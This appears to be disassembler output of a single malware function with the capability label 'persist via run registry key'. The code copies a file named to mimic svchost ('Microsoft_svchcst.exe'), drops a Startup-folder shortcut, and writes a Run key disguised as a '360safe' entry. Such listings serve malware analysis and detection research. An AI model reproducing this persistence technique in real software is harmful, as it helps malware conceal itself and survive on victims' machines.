Function at 0x42780a
Capabilities:
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push 0x4d97a3
push dword [0x507bd8]
call fcn.00401911
add esp, 8
cmp eax, 0
je 0x42784f
push 0x4d97a8
push dword [0x507bd8]
call fcn.00401911
add esp, 8
cmp eax, 0
je 0x42784f
xor eax, eax
jmp 0x427854
mov eax, 1
test eax, eax
je 0x427f75
push 0x80000301
push 0
push 8
push 1
mov eax, 6
mov ebx, 0x49d0e0
call fcn.0043287c
add esp, 0x10
mov dword [ebp - 4], eax
push reloc.WS2_32.dll_bind
push 0
push 0
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x4d972d
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 4]
test eax, eax
jne 0x4278b3
mov eax, 0x4d751d
push eax
push 4
mov ebx, 0x433470
call fcn.00432870
add esp, 0x34
mov dword [ebp - 8], eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x4278d9
push ebx
call fcn.00432876
add esp, 4
cmp dword [ebp - 8], 0xffffffff
je 0x427b55
push reloc.WS2_32.dll_connect
push 0
push str.C:ProgramDataMicrosoftWindowsStart_MenuProgramsStartupwins.lnk
push 1
mov ebx, 0x434ba0
call fcn.00432870
add esp, 0x10
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x427b50
push 0x80000301
push 0
push 8
push 1
mov eax, 6
mov ebx, 0x49d0e0
call fcn.0043287c
add esp, 0x10
mov dword [ebp - 4], eax
push str.Microsoft_svchcst.exe
push dword [ebp - 4]
mov ecx, 2
call fcn.0040106f
add esp, 8
mov dword [ebp - 8], eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x42795c
push ebx
call fcn.00432876
add esp, 4
mov ebx, 9
call fcn.00402535
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x427979
mov eax, 0x4d751d
push eax
push reloc.WS2_32.dll_connect
push 0
push str.C:ProgramDataMicrosoftWindowsStart_MenuProgramsStartupwins.lnk
push 5
mov eax, 6
mov ebx, 0x49ce50
call fcn.0043287c
add esp, 0x40
mov dword [ebp - 0xc], eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x4279b0
push ebx
call fcn.00432876
add esp, 4
cmp dword [ebp - 0xc], 0
jne 0x427b50
push 0x80000301
push 0
push 7
push 1
mov eax, 6
mov ebx, 0x49d0e0
call fcn.0043287c
add esp, 0x10
mov dword [ebp - 4], eax
push str.win.ink
push dword [ebp - 4]
mov ecx, 2
call fcn.0040106f
add esp, 8
mov dword [ebp - 8], eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x427a08
push ebx
call fcn.00432876
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x427a1b
mov eax, 0x4d751d
push eax
push 1
mov ebx, 0x434ba0
call fcn.00432870
add esp, 0x10
mov dword [ebp - 0xc], eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x427a41
push ebx
call fcn.00432876
add esp, 4
cmp dword [ebp - 0xc], 0
jne 0x427b50
push 0x80000301
push 0
push 7
push 1
mov eax, 6
mov ebx, 0x49d0e0
call fcn.0043287c
add esp, 0x10
mov dword [ebp - 4], eax
push str.win.ink
push dword [ebp - 4]
mov ecx, 2
call fcn.0040106f
add esp, 8
mov dword [ebp - 8], eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x427a99
push ebx
call fcn.00432876
add esp, 4
push 0x80000301
push 0
push 8
push 1
mov eax, 6
mov ebx, 0x49d0e0
call fcn.0043287c
add esp, 0x10
mov dword [ebp - 0xc], eax
push str.Microsoft_svchcst.exe
push dword [ebp - 0xc]
mov ecx, 2
call fcn.0040106f
add esp, 8
mov dword [ebp - 0x10], eax
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x427ae7
push ebx
call fcn.00432876
add esp, 4
mov ebx, 9
call fcn.00402535
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x10]
test eax, eax
jne 0x427b04
mov eax, 0x4d751d
push eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x427b18
mov eax, 0x4d751d
push eax
push 5
mov eax, 6
mov ebx, 0x49ce50
call fcn.0043287c
add esp, 0x40
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x427b40
push ebx
call fcn.00432876
add esp, 4
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x427b50
push ebx
call fcn.00432876
add esp, 4
jmp 0x427dc2
push reloc.WS2_32.dll_connect
push 0
push str.C:Documents_and_SettingsAll_Users_
push 1
mov ebx, 0x434ba0
call fcn.00432870
add esp, 0x10
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x427dc2
push 0x80000301
push 0
push 8
push 1
mov eax, 6
mov ebx, 0x49d0e0
call fcn.0043287c
add esp, 0x10
mov dword [ebp - 4], eax
push str.Microsoft_svchcst.exe
push dword [ebp - 4]
mov ecx, 2
call fcn.0040106f
add esp, 8
mov dword [ebp - 8], eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x427bce
push ebx
call fcn.00432876
add esp, 4
mov ebx, 9
call fcn.00402535
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x427beb
mov eax, 0x4d751d
push eax
push reloc.WS2_32.dll_connect
push 0
push str.C:Documents_and_SettingsAll_Users_
push 5
mov eax, 6
mov ebx, 0x49ce50
call fcn.0043287c
add esp, 0x40
mov dword [ebp - 0xc], eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x427c22
push ebx
call fcn.00432876
add esp, 4
cmp dword [ebp - 0xc], 0
jne 0x427dc2
push 0x80000301
push 0
push 7
push 1
mov eax, 6
mov ebx, 0x49d0e0
call fcn.0043287c
add esp, 0x10
mov dword [ebp - 4], eax
push str.win.ink
push dword [ebp - 4]
mov ecx, 2
call fcn.0040106f
add esp, 8
mov dword [ebp - 8], eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x427c7a
push ebx
call fcn.00432876
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x427c8d
mov eax, 0x4d751d
push eax
push 1
mov ebx, 0x434ba0
call fcn.00432870
add esp, 0x10
mov dword [ebp - 0xc], eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x427cb3
push ebx
call fcn.00432876
add esp, 4
cmp dword [ebp - 0xc], 0
jne 0x427dc2
push 0x80000301
push 0
push 7
push 1
mov eax, 6
mov ebx, 0x49d0e0
call fcn.0043287c
add esp, 0x10
mov dword [ebp - 4], eax
push 0x4d983f
push dword [ebp - 4]
mov ecx, 2
call fcn.0040106f
add esp, 8
mov dword [ebp - 8], eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x427d0b
push ebx
call fcn.00432876
add esp, 4
push 0x80000301
push 0
push 8
push 1
mov eax, 6
mov ebx, 0x49d0e0
call fcn.0043287c
add esp, 0x10
mov dword [ebp - 0xc], eax
push str.Microsoft_svchcst.exe
push dword [ebp - 0xc]
mov ecx, 2
call fcn.0040106f
add esp, 8
mov dword [ebp - 0x10], eax
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x427d59
push ebx
call fcn.00432876
add esp, 4
mov ebx, 9
call fcn.00402535
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x10]
test eax, eax
jne 0x427d76
mov eax, 0x4d751d
push eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x427d8a
mov eax, 0x4d751d
push eax
push 5
mov eax, 6
mov ebx, 0x49ce50
call fcn.0043287c
add esp, 0x40
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x427db2
push ebx
call fcn.00432876
add esp, 4
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x427dc2
push ebx
call fcn.00432876
add esp, 4
push reloc.WS2_32.dll_connect
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionRun360safo
push 0x80000301
push 0
push 4
push 2
mov ebx, 0x435e30
call fcn.00432870
add esp, 0x1c
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x427f75
push 0x80000301
push 0
push 8
push 1
mov eax, 6
mov ebx, 0x49d0e0
call fcn.0043287c
add esp, 0x10
mov dword [ebp - 4], eax
push str.Microsoft_svchcst.exe
push dword [ebp - 4]
mov ecx, 2
call fcn.0040106f
add esp, 8
mov dword [ebp - 8], eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x427e47
push ebx
call fcn.00432876
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x427e5a
mov eax, 0x4d751d
push eax
push reloc.WS2_32.dll_connect
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionRun360safo
push 0x80000301
push 0
push 4
push 3
mov ebx, 0x435e10
call fcn.00432870
add esp, 0x28
mov dword [ebp - 0xc], eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x427e98
push ebx
call fcn.00432876
add esp, 4
cmp dword [ebp - 0xc], 0
jne 0x427f75
push reloc.WS2_32.dll_connect
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionRun360safo
push 0x80000301
push 0
push 3
push 2
mov ebx, 0x435e30
call fcn.00432870
add esp, 0x1c
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x427f75
push 0x80000301
push 0
push 8
push 1
mov eax, 6
mov ebx, 0x49d0e0
call fcn.0043287c
add esp, 0x10
mov dword [ebp - 4], eax
push str.Microsoft_svchcst.exe
push dword [ebp - 4]
mov ecx, 2
call fcn.0040106f
add esp, 8
mov dword [ebp - 8], eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x427f27
push ebx
call fcn.00432876
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x427f3a
mov eax, 0x4d751d
push eax
push reloc.WS2_32.dll_connect
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionRun360sofe
push 0x80000301
push 0
push 3
push 3
mov ebx, 0x435e10
call fcn.00432870
add esp, 0x28
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x427f75
push ebx
call fcn.00432876
add esp, 4
mov esp, ebp
pop ebp
ret